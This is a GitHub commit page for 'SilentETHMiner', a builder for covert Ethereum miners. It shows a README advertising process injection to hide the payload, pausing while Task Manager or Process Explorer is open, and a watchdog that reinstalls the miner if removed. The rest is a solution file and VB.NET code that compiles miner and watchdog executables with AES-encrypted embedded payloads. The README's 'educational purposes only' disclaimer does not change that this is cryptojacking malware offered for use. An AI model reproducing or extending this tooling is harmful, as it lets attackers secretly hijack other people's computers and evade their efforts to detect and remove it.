This repository has been archived by the owner on Sep 12, 2023. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 87
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
UnamSanctam
committed
Mar 20, 2021
1 parent
1350769
commit 45882a2
Showing
27 changed files
with
6,273 additions
and
1 deletion.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,71 @@ | ||
|
||
<img src="https://github.com/UnamSanctam/SilentETHMiner/blob/master/SilentETHMiner.png?raw=true"> | ||
|
||
# SilentETHMiner v1.0 - Based on Lime Miner v0.3 | ||
|
||
|
||
## Main Features | ||
|
||
* .NET - Coded in Visual Basic .NET, requires .NET Framework 4.5 | ||
|
||
* Codedom - No need for external libraries to compile | ||
|
||
* Injection (Silent) - Hide payload behind another process | ||
|
||
* Idle Mining - Can be configured to only mine when the computer isn't in use | ||
|
||
* Stealth - Pauses the miner while Task Manager, Process Explorer or Process Hacker is open | ||
|
||
* Watchdog - Replaces the miner if removed and starts it if closed down | ||
|
||
* Ethash - Supports mining all Ethash coins like Ethereum, Ethereum Classic, Metaverse, Ellaism, QuarkChain and others | ||
|
||
## Downloads | ||
|
||
Pre-Compiled: https://github.com/UnamSanctam/SilentETHMiner/releases | ||
|
||
## Other Miners | ||
|
||
[Silent XMR (Monero) Miner](https://github.com/UnamSanctam/SilentXMRMiner) | ||
|
||
## Requirements | ||
|
||
When mining with the Ethash algorithm you need to have enough GPU memory left to store the DAG. So for example mining Ethereum requires you have have at least a minimum GPU memory of 4.14 GB since that is the size of the DAG as of writing this. | ||
The other thing required is a recent enough CUDA or OpenCL compatible driver for your GPU. | ||
|
||
So the requirements are as follow: | ||
1. Enough GPU memory for the DAG | ||
2. Supported drivers | ||
|
||
## Changes | ||
|
||
# v1.0 (20/03/2021) | ||
* Inital release | ||
|
||
## Author | ||
|
||
* **Unam Sanctam** | ||
* Credit to **NYAN CAT** | ||
|
||
|
||
## Disclaimer | ||
|
||
I, the creator, am not responsible for any actions, and or damages, caused by this software. | ||
|
||
You bear the full responsibility of your actions and acknowledge that this software was created for educational purposes only. | ||
|
||
This software's main purpose is NOT to be used maliciously, or on any system that you do not own, or have the right to use. | ||
|
||
By using this software, you automatically agree to the above. | ||
|
||
## License | ||
|
||
This project is licensed under the MIT License - see the [LICENSE](/LICENSE) file for details | ||
|
||
## Donate | ||
|
||
XMR: 8BbApiMBHsPVKkLEP4rVbST6CnSb3LW2gXygngCi5MGiBuwAFh6bFEzT3UTufiCehFK7fNvAjs5Tv6BKYa6w8hwaSjnsg2N | ||
|
||
BTC: bc1qu9rvkx7tjw9u003chtwfuf6s42fp3lmcfttk7f | ||
|
||
ETH: 0x756b84fe97fB9880B02BDcd33cA58147E56d33a8 |
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,25 @@ | ||
|
||
Microsoft Visual Studio Solution File, Format Version 12.00 | ||
# Visual Studio Version 16 | ||
VisualStudioVersion = 16.0.30011.22 | ||
MinimumVisualStudioVersion = 10.0.40219.1 | ||
Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "Silent ETH Miner Builder", "SilentETHMiner\Silent ETH Miner Builder.vbproj", "{7C078680-6AC6-4148-BA34-195C40AD2409}" | ||
EndProject | ||
Global | ||
GlobalSection(SolutionConfigurationPlatforms) = preSolution | ||
Debug|Any CPU = Debug|Any CPU | ||
Release|Any CPU = Release|Any CPU | ||
EndGlobalSection | ||
GlobalSection(ProjectConfigurationPlatforms) = postSolution | ||
{7C078680-6AC6-4148-BA34-195C40AD2409}.Debug|Any CPU.ActiveCfg = Debug|Any CPU | ||
{7C078680-6AC6-4148-BA34-195C40AD2409}.Debug|Any CPU.Build.0 = Debug|Any CPU | ||
{7C078680-6AC6-4148-BA34-195C40AD2409}.Release|Any CPU.ActiveCfg = Release|Any CPU | ||
{7C078680-6AC6-4148-BA34-195C40AD2409}.Release|Any CPU.Build.0 = Release|Any CPU | ||
EndGlobalSection | ||
GlobalSection(SolutionProperties) = preSolution | ||
HideSolutionNode = FALSE | ||
EndGlobalSection | ||
GlobalSection(ExtensibilityGlobals) = postSolution | ||
SolutionGuid = {18DD4EC1-867B-49AA-9EDC-C1ED9E36DAB6} | ||
EndGlobalSection | ||
EndGlobal |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,98 @@ | ||
Imports System.CodeDom.Compiler | ||
Imports System.Security.Cryptography | ||
|
||
Public Class Codedom | ||
Public Shared MinerOK As Boolean = False | ||
Public Shared WatchdogOK As Boolean = False | ||
Public Shared F As Form1 | ||
Public Shared Sub MinerCompiler(ByVal Path As String, ByVal Code As String, ByVal Res As String, Optional ICOPath As String = "") | ||
|
||
Dim providerOptions = New Dictionary(Of String, String) | ||
providerOptions.Add("CompilerVersion", "v4.0") | ||
Dim CodeProvider As New VBCodeProvider(providerOptions) | ||
Dim Parameters As New CompilerParameters | ||
Dim OP As String = " /target:winexe /platform:x64 /nowarn" | ||
|
||
If ICOPath IsNot Nothing Then | ||
IO.File.Copy(ICOPath, Environment.GetFolderPath(35) + "\icon.ico", True) 'codedom cant read spaces | ||
F.txtLog.Text = F.txtLog.Text + ("Adding Icon..." + vbNewLine) | ||
OP += " /win32icon:" + Environment.GetFolderPath(35) + "\icon.ico" | ||
End If | ||
|
||
With Parameters | ||
.GenerateExecutable = True | ||
.OutputAssembly = Path | ||
.CompilerOptions = OP | ||
.IncludeDebugInformation = False | ||
.ReferencedAssemblies.Add("System.Windows.Forms.dll") | ||
.ReferencedAssemblies.Add("System.dll") | ||
.ReferencedAssemblies.Add("Microsoft.VisualBasic.dll") | ||
.ReferencedAssemblies.Add("System.Management.dll") | ||
.ReferencedAssemblies.Add("System.Management.dll") | ||
.ReferencedAssemblies.Add("System.IO.Compression.dll") | ||
.ReferencedAssemblies.Add("System.IO.Compression.FileSystem.dll") | ||
|
||
F.txtLog.Text = F.txtLog.Text + ("Creating resources..." + vbNewLine) | ||
|
||
Using R As New Resources.ResourceWriter(IO.Path.GetTempPath & "\" + Res + ".Resources") | ||
R.AddResource(F.Resources_dll, F.AES_Encryptor(My.Resources.Project1)) | ||
R.AddResource(F.Resources_eth, F.AES_Encryptor(My.Resources.ethminer)) | ||
If F.chkInstall.Checked And F.toggleWatchdog.Checked Then | ||
R.AddResource(F.Resources_watchdog, F.AES_Encryptor(F.watchdogdata)) | ||
End If | ||
R.Generate() | ||
End Using | ||
|
||
F.txtLog.Text = F.txtLog.Text + ("Embedding resources..." + vbNewLine) | ||
.EmbeddedResources.Add(IO.Path.GetTempPath & "\" + F.Resources_Parent + ".Resources") | ||
|
||
Dim Results = CodeProvider.CompileAssemblyFromSource(Parameters, Code) | ||
If Results.Errors.Count > 0 Then | ||
For Each E In Results.Errors | ||
MsgBox(E.ErrorText, MsgBoxStyle.Critical) | ||
Next | ||
MinerOK = False | ||
Try : IO.File.Delete(Environment.GetFolderPath(35) + "\icon.ico") : Catch : End Try | ||
Return | ||
Else | ||
MinerOK = True | ||
Try : IO.File.Delete(Environment.GetFolderPath(35) + "\icon.ico") : Catch : End Try | ||
End If | ||
End With | ||
|
||
End Sub | ||
|
||
Public Shared Sub WatchdogCompiler(ByVal Path As String, ByVal Code As String) | ||
|
||
Dim providerOptions = New Dictionary(Of String, String) | ||
providerOptions.Add("CompilerVersion", "v4.0") | ||
Dim CodeProvider As New VBCodeProvider(providerOptions) | ||
Dim Parameters As New CompilerParameters | ||
Dim OP As String = " /target:winexe /platform:x64 /nowarn" | ||
|
||
With Parameters | ||
.GenerateExecutable = True | ||
.OutputAssembly = Path | ||
.CompilerOptions = OP | ||
.IncludeDebugInformation = False | ||
.ReferencedAssemblies.Add("System.Windows.Forms.dll") | ||
.ReferencedAssemblies.Add("System.dll") | ||
.ReferencedAssemblies.Add("Microsoft.VisualBasic.dll") | ||
.ReferencedAssemblies.Add("System.Management.dll") | ||
.ReferencedAssemblies.Add("System.Management.dll") | ||
.ReferencedAssemblies.Add("System.IO.Compression.dll") | ||
.ReferencedAssemblies.Add("System.IO.Compression.FileSystem.dll") | ||
|
||
Dim Results = CodeProvider.CompileAssemblyFromSource(Parameters, Code) | ||
If Results.Errors.Count > 0 Then | ||
For Each E In Results.Errors | ||
MsgBox(E.ErrorText, MsgBoxStyle.Critical) | ||
Next | ||
WatchdogOK = False | ||
Else | ||
WatchdogOK = True | ||
End If | ||
End With | ||
|
||
End Sub | ||
End Class |
Oops, something went wrong.